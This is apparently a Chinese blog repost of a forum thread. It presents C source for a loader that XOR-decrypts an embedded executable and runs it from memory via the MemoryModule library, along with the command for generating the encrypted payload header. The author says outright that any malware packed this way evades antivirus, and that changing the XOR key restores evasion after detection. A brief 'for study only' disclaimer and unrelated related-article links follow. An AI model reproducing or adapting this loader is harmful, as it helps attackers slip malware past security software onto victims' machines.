支持64位系统的XOR加密后内存加载PE绕过杀毒软件
http://bbs.pediy.com/showthread.php?t=203910
绝对自动支持32、64位的内存加载源码
无聊逛看雪时,看到了这个。
然后到github上找到了源。就是这里:https://github.com/fancycode/MemoryModule
结合我几年前写的一个利用方法:https://github.com/eric21/MemPE
使用方法超级简单:
#include <windows.h> #include <tchar.h> #include <stdio.h> #include <malloc.h> #include "MemoryModule.h" #include "res\a.h" int RunForAarray(void) { HMEMORYMODULE handle; int result = -1; for (int i = 0; i < sizeof(aArray); i++) { //szArray[i] = ~ szArray[i]; // 取反 ~ aArray[i] = aArray[i] ^ 123; // 异或 ^ } handle = MemoryLoadLibrary(aArray); if (handle == NULL) { //_tprintf(_T("Can't load library from memory.\n")); goto exit; } result = MemoryCallEntryPoint(handle); if (result < 0) { //_tprintf(_T("Could not execute entry point: %d\n"), result); } MemoryFreeLibrary(handle); exit: if (aArray) free(aArray); return result; } int main(int argc, char* argv[]) { return RunForAarray(); }
res目录下a.h文件生成方法:EncryptFile.exe 1.exe a.h aArray 123
生成的加密key和loader的解密key一致即可,这里演示用,均为123
理论上可以通过异或加密后将任意malware保存在loader内,不会被安全软件查杀,解密后加载内存,不会产生文件,只要更换加密key,就可以实现再次免杀。
注意:过不了主动防御。
重要声明:此文章仅供学习交流,请勿用于非法用途!
支持64位系统的XOR加密后内存加载PE绕过杀毒软件.rar
不知道还有多少人记得我,已经离开安全圈子很多年了,
偶尔回来看看,发现很多人依然在坚持,让我十分佩服。
喜欢研究Malware的同好可以联系我 http://www.eric21.com/about
支持64位系统的XOR加密后内存加载PE绕过杀毒软件相关推荐
- 注意啦,还没有支持64位系统的App开发者,务必在12月底前完成这件事
注意啦!还没有支持64位系统的App开发者务必在12月底前完成这件事! 近日,国内五大应用商店宣布,将共同推进国内安卓生态对64位架构的升级支持,目的是更好提升APP性能体验并降低功耗. 友盟+ U- ...
- 最好的蓝牙驱动-BlueSoleil千月蓝牙破解版10.2.497.0-2018\10\9更新下,支持64位系统
最好的蓝牙驱动-千月10.0.0496破解版-2018年支持64位系统 - 幻生的博客 - CSDN博客 https://blog.csdn.net/qq_36114959/article/detai ...
- vs2015web项目无法加载64位c++的dll,提示试图加载不正确的格式
vs2015无法加载64位c++的dll,提示试图加载不正确的格式! 开始用winform引用64位的c++的dll,在项目的属性设置生成里面选择any cpu或者x64都可以成功! 但在web项目和 ...
- EXCEL 2003-2016 日期选择器插件 支持64位系统
EXCEL 2003-2016 日期选择器插件 支持64位 使用简单且漂亮的EXCEL日期选择器插件 效果如下: Download now for Excel 2007 – 2016 Download ...
- c4d支持mac系统渲染器有哪些_在macOS Catalina发布前检查哪些应用程序不支持64位系统...
macOS Catalina 让你喜欢的种种 Mac 体验都更进一步.你可以领略音乐.播客这两款全新 Mac app 的表演:在 Mac 上畅享各款自己心爱的 iPad app:拿起 iPad 和 A ...
- amd cpu跑linux64,给新手提醒:amd的cpu绝大部分支持64位系统。
jagub 于 2009-06-10 09:10:06发表: 引用: 但是换系统很麻烦的,,,,所以我正在犹豫,先用我的arch吧,用着挺顺手的,等着我再自己搭建环境吧,反正就是装软件包的事. 微宝贝 ...
- 可牛免费杀毒1.5beta2 全新自我保护支持64位系统
可牛免费杀毒1.5beta2 (2010-11-2)主要更新:1.5.1.1105 1.新增对64位操作系统的支持,全新实时保护: 2.修复自我保护导致网络连接检测错误的问题: 3.调整本地病毒库升级 ...
- win7 64位 web项目OCX控件无法加载原因
多了不说什么 ,直接切入主题 首先,你要确认你要加载的控件已经成功的注册了,如果没有注册,请按照以下方式注册 注册成功之后,如果界面依然没有加载控件,则考虑注册表的影响了 将ocx文件拷贝到SysWO ...
- Enterprise Solution 进销存管理软件 C/S架构,支持64位系统 物流,资金流,信息流全面集成...
定位 Target Customers 中小型生产制造企业,批发零售类,贸易企业 主要模块 Modules 采购.销售.库存.财务账款四大模块,包含企业运作过程中销售.采购.库存各岗位需要的全部功能 ...
最新文章
- 是什么阻碍了你的 AI 致富路?
- [转载]安装openssl,windows版
- haproxy定义规则限制IP访问
- Ext JS 3.0 RC1.1 Released发布了
- python基础教程:ord()和chr()
- 大数据WEB阶段(十八)数据库事务
- Zookeeper原理架构
- C++字符串输入输出转换
- C#.NET自定义报表数据打印
- wps画流程图交叉弧形_wps画的流程图打印不清晰|wps怎么绘制出立体流程图?wps绘制出立体流程图的方法...
- 计算机EXE文件改参数,exe文件修改器(eXeScope)
- wps纸张大小设置成A4_pdf两页合并一页a4,只需这招轻松搞定
- Angluar编译过程中出现的TS2339问题
- 量子物理与计算机,量子计算机与量子物理
- 软件设计师2022记录
- 线程并发锁竞争--java锁jvm锁--synch锁分析
- Selenium学习 - 库代码解析
- 在win10上通过usb连接树莓派
- 【UE虚幻引擎】手把手教学,UE打包全攻略
- 程序员应该如何写好自己的简历